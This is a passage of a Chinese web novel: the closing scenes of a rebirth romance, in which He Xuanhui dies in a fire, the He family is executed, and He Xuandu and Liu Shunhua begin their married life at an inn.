贺玄晖突觉浑身猛地一震,低头一看,一支箭就这样插入了他的胸膛。 身后,火光亮起,贺玄晖用尽最后一丝力气,猛地将柳舜华推了出去。 贺玄度飞身接过柳舜华,牢牢抱在怀中。 熊熊火光映照下,贺玄晖脸色惨白,静静地看着柳舜华。 上辈子我连累你葬身火海,这辈子,我还你。 大火很快吞噬掉贺玄晖的喜袍,灼灼的红色连成一片。 贺玄晖撕心裂肺一声长吼:“舜华,章台街,桃花树下,你亲口说过,要我娶你的,怎么就变了呢?” 柳舜华一片茫然,什么章台街,桃花树? 好像有两个小小的影子,在脑海中一闪而过,转瞬即逝。 贺玄度揽过柳舜华肩膀,用手扒开她鬓角散乱的头发,看着她的脖颈,心疼道:“蓁蓁,你怎么样,没事吧?” 柳舜华摇头,拉过他的手,认真道:“贺玄度,下次不许再说陪我一起死的话,咱们都要好好地活着。” 贺玄度点头,低头在她掌心落下一个轻吻:“夫人教训的是。” 庭院火势已窜上檐角,焦黑的梁木不时发出“噼啪”的爆裂声,火星四溅。 残阳如血,将半边天空染成红色。 院中的海棠,映着漫天的火光,开满了鲜艳的花。 柳舜华恍惚又想到前世,贺玄度那方院落,那个桃花灼灼燃烧的夜晚。 只是这一次,她和贺玄度,都活了下来。 …… 三个月后。 丞相贺留善狱中自缢,留下一纸血书,恳请皇上赦免贺家满门。 刘九生抬手将血书凑近烛火,火舌舔上纸张,殷红的字迹一寸寸被吞噬。 允许史书给予贺留善作为丞相最公正记录,已是对他最大的仁慈。 出了正月,长安城的雪还未化尽,刑场上的血已结了冰。 包括程氏、贺容暄在内的所有贺家直系,统统上了断头台。 程家人全部下狱,女眷充入掖庭。 贺家直系死绝,只有远在瓜州,早已与贺丞相断绝关系的贺家大小姐,逃过一劫。 至于那位从龙有功,大义灭亲的贺家二公子,已改姓万,拒绝朝中任职,远离长安,不知所终。 据说这位二公子离开相府之时,什么都未带,只带走了两个牌位。 长安城外,一辆青布马车缓缓驶离。 三日后,马车终于赶在黄昏前,到了平津渡附近的客栈。 掌柜的看到进来的一对璧人,对着两人道:“真是人生无相逢,竟还有缘再见到二位。” 贺玄度笑着点头,让掌柜的安排在上次住的客房。 掌柜的熟练地安排了两间上房。 贺玄度抬了抬眉,“掌柜的,我们夫妻二人安排在两间,合适吗?” 柳舜华不语,低头垂笑。 掌柜的一愣,随即赔笑道:“恭喜,恭喜,二位竟然成了亲。当日瞧着,便觉两位是天作之合。这样,为表歉意,也恭贺两位新婚,今日房费免半,您瞧着如何?” 贺玄度嘴角止不住笑,“掌柜的能看得出我们是新婚?” 掌柜的笑道:“有眼睛的自然能看得出来,自打方才进门,公子的眼就未离开过夫人。这新婚燕尔,便是如此了。” 贺玄度点头,“有理,掌柜的好眼光。” 柳舜华憋着笑,推了贺玄度上楼。 二楼的雕花木窗半开,微风和煦,吹散了一日的疲惫。 柳舜华洗漱后,倚在窗边,静静望着院中的古柳。 贺玄度散着一头如墨青丝,从背后环上柳舜华的腰。 他的脸贴上来,带着沐浴后淡淡的松木香。 “看什么的,这么入神?”他低声问,温热的呼吸拂过她耳畔。 柳舜华目光仍停留在院中那株古柳上,“没什么,只是突然想起,当年我离开时,一抬头,透过柳枝,正好看到你露半个头,趴在窗边。” 贺玄度笑了一声,“全靠夫人用心照料,不然我可真成瘸子了。” “呸呸呸。”柳舜华伸手去拧他,“总是不改,口没遮拦的。” 贺玄度又往她脸上蹭了蹭。 窗外,柳絮纷飞,如烟似雪。 柳舜华指尖微动,伸手接住一片飘落的柳絮。 她忽然转头,眸中映着月色,好奇道:“当初,你看着我走的时候,心里想的是什么?” 贺玄度垂头,看着她,眼底漾开温柔的笑意:“我想,定要快些治好这腿,去找你。若是好了,就堂堂正正去寻你;若是不好,就是爬,也要爬到你身边。” 他顿了顿,将她的身子扳过来,声音轻得像缱绻的飞絮,“蓁蓁,我这辈子,只为你。你在哪儿,我便在哪儿。” 柳舜华鼻尖一酸,湿了眼眶。 窗外,古柳月下默然静立。 夜风拂过,撩动着贺玄度散落的发丝,与她的青丝纠缠在一起。 柳舜华依在他怀中,缓缓抬首。 月上中天,清辉如练。 这一刻,明月清风,皆入怀。【你现在阅读的是 】